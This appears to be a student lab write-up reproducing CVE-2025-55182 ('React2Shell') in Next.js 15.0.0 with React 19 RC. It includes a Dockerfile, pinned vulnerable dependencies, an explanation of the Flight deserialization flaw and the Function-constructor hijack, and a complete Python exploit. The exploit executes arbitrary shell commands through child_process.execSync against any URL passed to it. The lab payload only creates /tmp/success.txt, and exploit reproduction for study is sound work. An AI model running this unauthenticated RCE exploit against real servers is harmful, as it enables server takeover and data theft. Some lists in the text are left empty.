
a.k.a. React2Shell
Sections required by the assignment guidelines are marked with “(Required)”.
This environment uses a custom Dockerfile based on the official Node.js Alpine image.
FROM node:20-alpine
WORKDIR /app
COPY package.json ./
RUN npm install --legacy-peer-deps
COPY . .
EXPOSE 3000
CMD ["npm", "run", "dev"]
The Dockerfile builds a vulnerable React Server Components (RSC) and Next.js App Router environment.
The environment installs vulnerable versions of:
The vulnerable server runs in development mode using npm run dev.
The vulnerable server runs in development mode using npm run dev.
The environment operates using the following structure:
[Attacker / exploit.py]
↓
[Next.js App Router]
↓
[React Flight Protocol Parser]
↓
[React Server Components Runtime]
↓
[Node.js Runtime]
The attacker sends a specially crafted multipart/form-data request to the vulnerable Next.js application.
The malicious payload abuses the React Flight protocol deserialization process.
The vulnerable application uses the Next.js App Router architecture.
The request is processed through the React Server Components pipeline.
The application source code is stored inside the src/app/ directory.
src/
└── app/
├── layout.js
└── page.js
The layout.js file defines the root layout required for the App Router structure and initializes the React Server Components environment.
export default function RootLayout({ children }) {
return (<html><body>{children}</body></html>);
}
The page.js file defines the root page rendered at / and displays a simple message indicating that the vulnerable server is running.
export default function Page() {
return (<h1>Vulnerable Server</h1>);
}
The project dependencies and execution scripts are managed through the package.json file.
{
"name": "cve-2025-55182-vuln-app",
"version": "1.0.0",
"private": true,
"scripts": {
"dev": "next dev -p 3000"
},
"dependencies": {
"next": "15.0.0",
"react": "19.0.0-rc-65a56d0e-20241020",
"react-dom": "19.0.0-rc-65a56d0e-20241020",
"react-server-dom-webpack": "19.0.0-rc-65a56d0e-20241020"
}
}
This file defines vulnerable versions of:
The vulnerable application is executed using:
"scripts": {
"dev": "next dev"
}
The server is started through:
npm run dev
which launches the vulnerable Next.js development server on port 3000.
The Flight protocol deserializes complex React objects such as:
The vulnerability occurs during this deserialization process.
The React runtime processes attacker-controlled Flight payloads.
Unsafe property traversal and prototype access eventually allow attackers to hijack the Function constructor.
After successful exploitation, arbitrary JavaScript code executes inside the Node.js server environment.
This leads to Remote Code Execution (RCE).
| Component | Version |
|---|---|
| Node.js | 20-alpine |
| Next.js | 15.0.0 |
| React | 19.0.0-rc |
| react-dom | 19.0.0-rc |
The environment uses vulnerable React Server Components and Flight protocol implementations.
CVE-2025-55182, also known as React2Shell, is a critical Remote Code Execution (RCE) vulnerability affecting React Server Components and the React Flight protocol.
The vulnerability occurs during the deserialization process of attacker-controlled Flight protocol payloads.
The issue allows attackers to:
The vulnerability is particularly dangerous because exploitation can occur without authentication using a single crafted HTTP request.
Applications using vulnerable React Server Components and Next.js App Router configurations are directly exposed.
The root cause of the vulnerability is unsafe handling of attacker-controlled object references during Flight protocol deserialization.
React Flight internally uses special reference strings such as:
$@0
$B1337
$1:__proto__:then
These references are recursively resolved during deserialization.
The vulnerable logic performs property traversal similar to:
value[path[i]]
without validating whether the property belongs to the object itself.
As a result, attackers can access dangerous JavaScript prototype chain properties such as:
__proto__
constructor
prototype
This eventually allows prototype pollution and Function constructor hijacking.
The attacker first creates a fake React chunk object.
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "touch /tmp/success.txt",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
The critical field is:
"status": "resolved_model"
The React runtime incorrectly trusts this field and treats the attacker-controlled object as a legitimate internal chunk object.
The payload:
$1:__proto__:then
causes the deserializer to traverse the JavaScript prototype chain.
Because the vulnerable code does not validate dangerous properties, the attacker gains access to:
Chunk.prototype.then
This transforms the fake chunk into a thenable object.
The payload:
$1:constructor:constructor
ultimately resolves to:
Function
This replaces:
response._formData.get
with the global JavaScript Function constructor.
As a result:
Function(attacker_controlled_payload)
becomes possible.
The payload:
$B1337
forces the React Flight parser into the Blob parsing logic.
During this process:
response._formData.get(...)
is executed.
However, the attacker already replaced this function with the global Function constructor.
This finally results in arbitrary JavaScript execution inside the Node.js runtime.
The exploit process occurs in the following order:
Attacker Request
↓
Flight Payload Parsing
↓
Fake Chunk Creation
↓
Prototype Pollution
↓
Function Constructor Hijacking
↓
Blob Parsing Trigger
↓
Promise Resolution
↓
Remote Code Execution
The attacker first sends a crafted multipart Flight request.
The vulnerable server deserializes the malicious payload and recursively resolves attacker-controlled references.
Unsafe prototype traversal eventually allows the attacker to hijack the Function constructor.
During Promise resolution and Blob parsing, arbitrary JavaScript code is executed.
Successful exploitation allows attackers to execute arbitrary JavaScript code inside the Node.js server environment.
In this environment, the exploit executes:
touch /tmp/success.txt
Successful exploitation is verified when the following file exists inside the container:
/tmp/success.txt
In real-world environments, attackers could:
The vulnerability is especially dangerous because it affects the React framework internals rather than application business logic.
This means a large number of applications may become vulnerable simply by using affected framework versions.
The Proof of Concept (PoC) was written in Python.
The exploit sends a malicious multipart/form-data request directly to the vulnerable Next.js application.
The PoC performs the following actions:
import requests
import sys
def exploit_rce(url, command):
headers = {
"Host": "localhost",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
"Next-Action": "x",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
}
payload_json = (
'{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{'
f'"_prefix":"process.mainModule.require(\'child_process\').execSync(\'{command}\');",'
'"_formData":{"get":"$1:constructor:constructor"}}}'
)
data = (
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
"Content-Disposition: form-data; name=\"0\"\r\n"
"\r\n"
f"{payload_json}\r\n"
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
"Content-Disposition: form-data; name=\"1\"\r\n"
"\r\n"
"\"$@0\"\r\n"
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"
)
try:
print(f"[*] Sending RCE payload to {url}...")
print(f"[*] Command: {command}")
response = requests.post(url, headers=headers, data=data, timeout=10)
print(f"[*] Status Code: {response.status_code}")
print(f"[*] Response Body Preview: {response.text[:500]}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
target_url = "http://localhost:3000"
cmd = "touch /tmp/success.txt"
if len(sys.argv) > 1:
cmd = sys.argv[1]
if len(sys.argv) > 2:
target_url = sys.argv[2]
exploit_rce(target_url, cmd)
The exploit payload uses multiple specially crafted Flight protocol references.
$1:__proto__:then| Part | Purpose |
|---|---|
$1 | References chunk 1 |
__proto__ | Traverses the prototype chain |
then | Retrieves Chunk.prototype.then |
This payload transforms the fake chunk into a thenable object.
$1:constructor:constructor| Part | Purpose |
|---|---|
$1 | References chunk 1 |
constructor | Accesses object constructor |
constructor | Resolves to global Function constructor |
This payload hijacks the JavaScript Function constructor.
$B1337The $B prefix forces the Flight parser into the Blob parsing logic.
During this process:
response._formData.get(...)
is executed.
Because the attacker already replaced this method with the Function constructor, arbitrary JavaScript code executes.
$@0This payload creates a circular chunk reference.
Chunk 1 ultimately references Chunk 0 again.
This structure allows the deserializer to use the attacker-controlled fake chunk object during prototype traversal.
The exploit first creates a random multipart boundary.
boundary = "----WebKitFormBoundary" + uuid.uuid4().hex
This is required for constructing a valid multipart/form-data request.
The exploit constructs a malicious fake chunk object.
"status":"resolved_model"
This causes the React runtime to treat the attacker-controlled object as a valid internal chunk.
The following payload:
$1:__proto__:then
forces the vulnerable parser to traverse the JavaScript prototype chain.
The following payload:
$1:constructor:constructor
replaces the internal get method with the JavaScript Function constructor.
The payload:
require('child_process').execSync('touch /tmp/success.txt')
is eventually executed inside the Node.js runtime.
Successful exploitation creates:
/tmp/success.txt
inside the vulnerable container.
The complete exploit flow is summarized below:
Start Docker Environment
↓
Run Vulnerable Next.js Server
↓
Execute exploit.py
↓
Send Malicious Flight Payload
↓
Trigger Prototype Pollution
↓
Hijack Function Constructor
↓
Trigger Blob Parsing
↓
Execute Arbitrary Code
↓
Verify /tmp/success.txt
Build the Docker image.
docker build -t rsc-vuln .
Run the vulnerable container.
docker run -d -p 3000:3000 --name my-vuln-server rsc-vuln
The vulnerable Next.js server will run on:
http://127.0.0.1:3000
Execute the PoC script.
python3 exploit.py
The exploit sends a malicious React Flight payload to the vulnerable Next.js server.
Verify whether the exploit successfully created the target file.
docker exec -it my-vuln-server ls -la /tmp/success.txt
Successful exploitation confirms that arbitrary code execution occurred inside the vulnerable container.
During successful exploitation, the exploit should trigger React Flight deserialization and prototype traversal.
The vulnerable server processes the malicious Flight payload and executes attacker-controlled JavaScript code.
Successful exploitation is confirmed when the following file exists:
/tmp/success.txt
Example output:
-rw-r--r-- 1 root root 0 Jan 1 00:00 /tmp/success.txt
This confirms that arbitrary commands were executed successfully inside the vulnerable Node.js environment.
The following screenshots were included in the screenshots/ directory:


| react-server-dom-webpack |
| 19.0.0-rc |